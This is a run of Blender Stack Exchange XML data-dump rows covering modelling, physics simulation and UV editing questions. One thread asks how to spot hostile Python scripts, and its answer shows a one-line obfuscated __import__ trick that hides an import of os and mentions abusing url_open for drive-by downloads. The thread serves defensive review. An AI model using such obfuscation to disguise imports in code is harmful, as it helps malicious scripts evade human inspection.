  <row Id="7273" PostTypeId="1" AcceptedAnswerId="7276" CreationDate="2014-02-23T14:15:25.167" Score="8" ViewCount="1509" Body="&lt;p&gt;In a recent release of blender a &lt;a href=&quot;https://www.blender.org/manual/advanced/scripting/python/security.html&quot; rel=&quot;nofollow&quot;&gt;safeguard&lt;/a&gt; for python scripts has been introduced. This is to prevent python script from doing any damage to the system. Although I doubt that there are any blender users that want to wreck havoc. Blender now has a built in system for protecting against malicious scripts. I do not trust this system though. &lt;strong&gt;How can I determine if a python script is hostile manually?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far this is what I have come up with:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;import os&lt;/code&gt; there is no reason that a python script for blender needs this module, this allows the user to run cmd/terminal commands. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What other things are there to watch out for?&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="55" LastEditDate="2015-12-13T15:01:01.593" LastActivityDate="2017-03-15T23:00:07.157" Title="How to determine whether a python script is hostile?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7274" PostTypeId="2" ParentId="7270" CreationDate="2014-02-23T14:23:06.137" Score="2" Body="&lt;p&gt;To help you to get started:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You already know how to do it manually, that is good because you find most of the actions in the   an area visible after moving the info header (main menu bar) down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RRuv0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There you could select the lines of interest and copy and past them into the text editor.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.space_data.context = 'MATERIAL'&#xA;bpy.context.space_data.context = 'TEXTURE'&#xA;bpy.ops.texture.new()&#xA;bpy.data.textures[&quot;Texture&quot;].type = 'IMAGE'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Most of the python snippets you need are already in one of the posts here.&#xA;E.g. loop over all objects (&lt;a href=&quot;https://blender.stackexchange.com/questions/2638/run-an-edit-mode-operator-on-every-object-in-the-scene/2639#2639&quot;&gt;Run an edit-mode operator on every object in the scene&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;scene = bpy.context.scene&#xA;for ob in scene.objects:&#xA;    print( ob.name )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reading a file: &lt;a href=&quot;https://blender.stackexchange.com/questions/5358/mapping-an-algorithm-to-an-animation&quot;&gt;Mapping an algorithm to an animation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also useful when exploring methods and data structures: &lt;a href=&quot;https://blender.stackexchange.com/questions/1879/is-it-possible-to-dump-an-objects-properties-and-methods&quot;&gt;Is it possible to dump an Objects Properties and Methods?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2014-02-24T15:23:29.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7276" PostTypeId="2" ParentId="7273" CreationDate="2014-02-23T15:56:52.473" Score="10" Body="&lt;p&gt;&lt;code&gt;os&lt;/code&gt; isn't the only module that provides functions to remove files from filesystem etc., &lt;code&gt;shutils&lt;/code&gt; can be used for such evil things too. Or you could somehow shell-execute system commands to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Module imports can even be camouflaged like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;evil_module = __import__(chr(int(&quot;&quot;.join(map(lambda x: str(x), [1]*3)))) + '\x73')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you won't immediately know what it actually imports (&lt;code&gt;os&lt;/code&gt; module in this case).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is to be seen malicious also depends on your view. Like with any trojan, virus or whatever, they don't necessarily damange your system or delete things. A python script could open a network connection and send spam mails, or transmit information about your machine to an attacker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many possibilities to abuse python, and &lt;code&gt;bpy&lt;/code&gt; makes it rather worse - &lt;code&gt;bpy.ops.wm.url_open(url=&quot;...&quot;)&lt;/code&gt; could be used to open a prepared website, that infects you with a drive-by download.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best protection is it run scripts from trusted sources only.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-02-23T15:56:52.473" CommentCount="9" CommunityOwnedDate="2014-02-23T15:56:52.473" ContentLicense="CC BY-SA 3.0" />
  <row Id="7277" PostTypeId="2" ParentId="7246" CreationDate="2014-02-23T16:28:54.790" Score="3" Body="&lt;p&gt;Instead of using the duplicate method post din your questions you can use an array modifier and a curve modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. Add Curve&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Add -&gt; Curve -&gt; Bezier&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;move it (in my case I moved it along the positive x-axis)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Place the origin at the start of the curve path&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;select curve -&gt; edit mode -&gt; Select start point -&gt; &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;S&lt;/kbd&gt; Cursor to selected -&gt; Object Mode -&gt; &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;C&lt;/kbd&gt; -&gt; Origin to 3d cursor&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AwAcz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a plane at the same location&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Scale it down&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;edit mode -&gt; &lt;kbd&gt;S&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Apply Location: &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;A&lt;/kbd&gt; Location&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4UGsl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select plane, add array modifier&#xA;Fit Type: Fit Curve&#xA;Relative Offset modify to move in the direction of the curve&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TEEHO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add Curve modifier to plane&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o60jg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;5.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add mirror modifier&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fL1cN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/pic/show.php?id=67294&quot; rel=&quot;nofollow noreferrer&quot;&gt;image description http://www.pasteall.org/pic/show.php?id=67294&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-02-23T18:12:26.837" LastActivityDate="2014-02-23T18:12:26.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7278" PostTypeId="2" ParentId="7262" CreationDate="2014-02-23T17:15:51.467" Score="0" Body="&lt;p&gt;Backporting 2.69 from Debian unstable to Debian wheezy should be straightforward. See&#xA;&lt;a href=&quot;https://unix.stackexchange.com/q/112157/4671&quot;&gt;How can I install more recent versions of software than what Debian provides?&lt;/a&gt;. This would also have the highest probability of working well on your system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Installing binaries from other distributions does not work well in general, and exhibits a closed-source mentality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current versions in Debian include:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# apt-cache policy blender&#xA;blender:&#xA;  Installed: (none)&#xA;  Candidate: 2.63a-1&#xA;  Version table:&#xA;     2.69-4+b1 0&#xA;         50 http://debian.lcs.mit.edu/debian/ unstable/main amd64 Packages&#xA;     2.69-3 0&#xA;         50 http://debian.lcs.mit.edu/debian/ testing/main amd64 Packages&#xA;     2.63a-1 0&#xA;        500 http://debian.lcs.mit.edu/debian/ wheezy/main amd64 Packages&#xA;     2.49.2~dfsg-2+b2 0&#xA;        500 http://debian.lcs.mit.edu/debian/ squeeze/main amd64 Packages&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want more details, please ask.&lt;/p&gt;&#xA;" OwnerUserId="2566" LastEditorUserId="-1" LastEditDate="2017-04-13T12:37:20.400" LastActivityDate="2014-02-23T17:15:51.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7280" PostTypeId="1" AcceptedAnswerId="7286" CreationDate="2014-02-23T22:31:18.047" Score="6" ViewCount="1187" Body="&lt;p&gt;I want to animate an anchor being pulled in by a motor on the boat. The anchor is attached to some chains. I am having trouble with the physics. I am using the built in physics system, not the Blender Game Engine. On the boat I have a motor that is turning. Is is attached to the chain which is attached to the anchor. &lt;strong&gt;How can I use physics to animate the reeling in of an anchor?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/27039&quot; rel=&quot;noreferrer&quot;&gt;blend file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The motor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JSuRu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The anchor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gl3AX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my attempt so far:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as you can see it's not working like it should.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/pic/show.php?id=67306&quot; rel=&quot;noreferrer&quot;&gt;http://www.pasteall.org/pic/show.php?id=67306&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-02-23T22:38:45.487" LastActivityDate="2020-03-15T01:45:02.700" Title="Reel in anchor using physics" Tags="&lt;animation&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7281" PostTypeId="1" AcceptedAnswerId="7289" CreationDate="2014-02-23T23:28:25.977" Score="5" ViewCount="1653" Body="&lt;p&gt;Since a picture (or animated GIF in this case) is worth a thousand words, I will begin by providing an example of the problem I am trying to solve:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wNRII.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the fragments of the monkey never change orientation as they fall and &quot;bounce&quot; off of the plane that they are colliding with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created this animation by adding a monkey to the scene and using the Object-&gt;Quick Effects-&gt;Quick Explode tool. The fragments never change their orientation, which is grossly unrealistic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I fix this? &lt;/p&gt;&#xA;" OwnerUserId="75" LastEditorUserId="599" LastEditDate="2014-02-23T23:59:03.513" LastActivityDate="2014-02-24T06:58:01.087" Title="How to get fragments of an exploded object to react more accurately to collisions with a plane?" Tags="&lt;animation&gt;&lt;particles&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7283" PostTypeId="1" AcceptedAnswerId="7285" CreationDate="2014-02-24T02:51:53.717" Score="5" ViewCount="759" Body="&lt;p&gt;I'm trying to create a flat plane icon of a clock that can start full and over the course of time have it's outer edge swing 360 degrees around it's center point and then terminate when it's gotten back to it's starting point. An example would be this image of a clock but with just the green portion visible: &lt;a href=&quot;http://cdn.vectorstock.com/i/composite/93,19/time-steps-icon-vector-749319.jpg&quot; rel=&quot;nofollow&quot;&gt;http://cdn.vectorstock.com/i/composite/93,19/time-steps-icon-vector-749319.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really just started using Blender last week so I feel like I'm pretty in over my head. What I've seen so far suggest that Shape Keys could be a solution, but I'm not sure how to get a flat shape to link to a circle. An array modifier could also be a solution, but I'm not sure it'll work on a solid object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have a solution to this?&lt;/p&gt;&#xA;" OwnerUserId="2573" LastEditorUserId="195" LastEditDate="2014-02-24T03:18:45.857" LastActivityDate="2014-02-24T21:24:22.677" Title="How to create a Pacman-esque clock icon" Tags="&lt;animation&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7285" PostTypeId="2" ParentId="7283" CreationDate="2014-02-24T03:29:05.043" Score="5" Body="&lt;h2&gt;Update:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The original method did not work due to a &lt;a href=&quot;https://developer.blender.org/T38797&quot; rel=&quot;nofollow noreferrer&quot;&gt;limitation of blender's interaction with the Carve library&lt;/a&gt; (used for boolean operations). Here is an updated technique.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/27067&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Example file&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You can do this using &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Booleans&quot; rel=&quot;nofollow noreferrer&quot;&gt;Boolean modifiers&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a cylinder and a cube, then move the cube 1 BU on the X and -1 on the Y. With the cube selected, enter edit node and delete one edge:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oLstA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then select one of the remaining two face and press &lt;kbd&gt;P&lt;/kbd&gt;&lt;em&gt;&gt; Selection&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zqgeT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With the 3D cursor in the middle, select each cubeface/plane object and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; to snap the object origin to the 3D cursor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jvZoZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a &lt;em&gt;Union&lt;/em&gt; boolean modifier to plane 1 (it doesn't matter which plane is &lt;code&gt;plane 1&lt;/code&gt; and which is &lt;code&gt;plane 2&lt;/code&gt;, but once you decide you shouldn't switch) and select plane 2 as the target object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J374F.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a &lt;em&gt;Difference&lt;/em&gt; boolean modifier to the cylinder and select plane 1 as the target object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zfv49.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Optionally add an &lt;em&gt;Edge Split&lt;/em&gt; modifier to get rid of the dark shadows (only visible when the mesh is smooth shaded) caused by the poor topology produced by the boolean operation.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Insert Rotation keyframes (&lt;kbd&gt;I&lt;/kbd&gt;&lt;em&gt;&gt; Rotation&lt;/em&gt;) to animate the rotation of either plane:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;On frame 1 with one plane selected insert a rotation keyframe (&lt;kbd&gt;I&lt;/kbd&gt;&lt;em&gt;&gt; Rotation&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Go to a later frame and rotate 360&amp;deg; on the Z (&lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;360&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Insert another rotation keyframe (&lt;kbd&gt;I&lt;/kbd&gt;&lt;em&gt;&gt; Rotation&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5yR0Y.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-02-24T21:24:22.677" LastActivityDate="2014-02-24T21:24:22.677" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="7286" PostTypeId="2" ParentId="7280" CreationDate="2014-02-24T03:43:27.907" Score="9" Body="&lt;p&gt;There are several issues with your file:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The object origins are not centered. The origins are used to calculate the center of mass, which means that they can result in strange behavior if they are not correctly centered. Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;&lt;em&gt;&amp;gt; Origin to center of mass&lt;/em&gt; to snap the origin to the center of mass.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The intersecting concave links are using the &lt;em&gt;Convex Hull&lt;/em&gt; collision shape. Because the hole in the middle of each link is a concave shape, the links then collide and fly apart. To the simulator it appears as if the links are inside one another.&#xA;However, note for a chain I recommend using &lt;em&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/physics/rigid_body/constraints/introduction.html&quot; rel=&quot;noreferrer&quot;&gt;Constraints&lt;/a&gt;&lt;/em&gt; instead.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Some objects have unapplied transforms. In many cases applying the scale and rotation can improve the stability and behavior of a simulation. Just beware when applying transforms to animated objects.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/physics/rigid_body/properties.html&quot; rel=&quot;noreferrer&quot;&gt;Animated&lt;/a&gt;&lt;/em&gt; is not enabled on the capstan. Enabling this is important if you want to control rigid bodies with the animation system.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1&gt;Setting up &lt;em&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/physics/rigid_body/constraints/introduction.html&quot; rel=&quot;noreferrer&quot;&gt;Constraints&lt;/a&gt;&lt;/em&gt; for a chain:&lt;/h1&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select all the links in the chain.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;em&gt;Connect&lt;/em&gt; in &lt;em&gt;3D View &amp;gt; Tool Shelf &amp;gt; Physics &amp;gt; Rigid body tools&lt;/em&gt;, then set the constraint type to &lt;em&gt;Point&lt;/em&gt; (sort of a ball joint) and the &lt;em&gt;Connection Pattern&lt;/em&gt; to &lt;em&gt;Chain by distance&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aOxIW.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;By default the new constraints (added to the empties) will have &lt;em&gt;Disable collisions&lt;/em&gt; enabled which disables collisions between objects constrained to each other. I recommend leaving this setting on, and keeping the collision shape on &lt;em&gt;Convex Hull&lt;/em&gt; as nothing besides the links themselves are likely to try and pass through the hole.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sqDE5.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/6312/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=6312&quot; /&gt;&lt;/a&gt; (For Blender 2.8)&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2019-07-28T23:43:03.357" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="7287" PostTypeId="2" ParentId="7239" CreationDate="2014-02-24T04:37:53.210" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Mvp54.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mvp54.png&quot; alt=&quot;Black and white logo&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My answer is pretty much the same as Leon Cheung's, but I used different color ramp nodes for both layers and added separate outlines using the &lt;em&gt;Dilate/Erode&lt;/em&gt; node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6vs37.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6vs37.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/27047&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Example blendfile&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-02-24T04:37:53.210" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7289" PostTypeId="2" ParentId="7281" CreationDate="2014-02-24T06:58:01.087" Score="2" Body="&lt;p&gt;You can make the explosion shards/particles rotate dynamically by enabling &lt;em&gt;Rotation&lt;/em&gt; and &lt;em&gt;Dynamic&lt;/em&gt; in the particle settings:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lhyBa.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Result:&lt;/h2&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oPKZv.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;However, if you want realism I recommend you try the &lt;em&gt;Cell fracture&lt;/em&gt; addon with &lt;em&gt;rigid body physics&lt;/em&gt;. See &lt;a href=&quot;https://blender.stackexchange.com/q/6686/599&quot;&gt;this question for more info&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-02-24T06:58:01.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7290" PostTypeId="1" CreationDate="2014-02-24T07:50:59.833" Score="3" ViewCount="1593" Body="&lt;p&gt;I want to select multiple overlapping islands all at once in UV Editing mode. 3dsmax can do this by clicking and dragging a window around my element, but I couldn't find a comparable function in Blender. Not being able to select in UV Editing by clicking and dragging a window is a huge missing feature, or I am not sure how to find it :/ &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/fJEgtV6.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to select the islands corresponding to the fan in the editor, which are around 12. I got them to overlap, but cannot select all of them at once.&lt;/p&gt;&#xA;" OwnerUserId="2576" LastEditorUserId="599" LastEditDate="2014-02-24T07:56:58.023" LastActivityDate="2014-05-25T10:43:35.473" Title="Select multiple overlapping islands in UV Editor?" Tags="&lt;uv&gt;&lt;shortcut&gt;&lt;selection-tools&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7291" PostTypeId="2" ParentId="7290" CreationDate="2014-02-24T07:52:59.267" Score="2" Body="&lt;p&gt;You can use &lt;em&gt;Box select&lt;/em&gt;, which is activated with &lt;kbd&gt;B&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dfWmD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use &lt;kbd&gt;C&lt;/kbd&gt; for &lt;em&gt;Circle Select&lt;/em&gt; and &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;LMB&lt;/kbd&gt; for &lt;em&gt;Lasso Select&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more on selection tools in the &lt;em&gt;UV editor&lt;/em&gt;, see &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Mapping/UV/Layout_Editing#Selecting_UVs&quot; rel=&quot;nofollow noreferrer&quot;&gt;the wiki&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-02-24T08:42:39.320" LastActivityDate="2014-02-24T08:42:39.320" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7292" PostTypeId="1" CreationDate="2014-02-24T08:06:31.703" Score="6" ViewCount="1391" Body="&lt;p&gt;Is it possible to get a value such as the dimensions (&lt;code&gt;object.dimensions&lt;/code&gt;) of an object in the material node editor, without referencing a specific object?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, I want to get the dimensions of whatever object is using the material. How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-06-03T06:39:44.033" Title="Relative reference to object property in material driver?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;drivers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7294" PostTypeId="1" AcceptedAnswerId="7296" CreationDate="2014-02-24T12:47:17.663" Score="2" ViewCount="309" Body="&lt;p&gt;I am doing a physics simulation and I am running into some trouble with meshes partially going through one another. I am simulating physics using constraints. I am simulating an anchor being reeled in. The problem is that the chains and anchor or intersecting at point in a way they should not be. &lt;strong&gt;How can I have the chains colliding with each other?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/27057&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://web.archive.org/web/20150929110315/http://www.pasteall.org/pic/show.php?id=67327&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20150929110315/http://www.pasteall.org/pic/show.php?id=67327&quot; alt=&quot;image description&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" 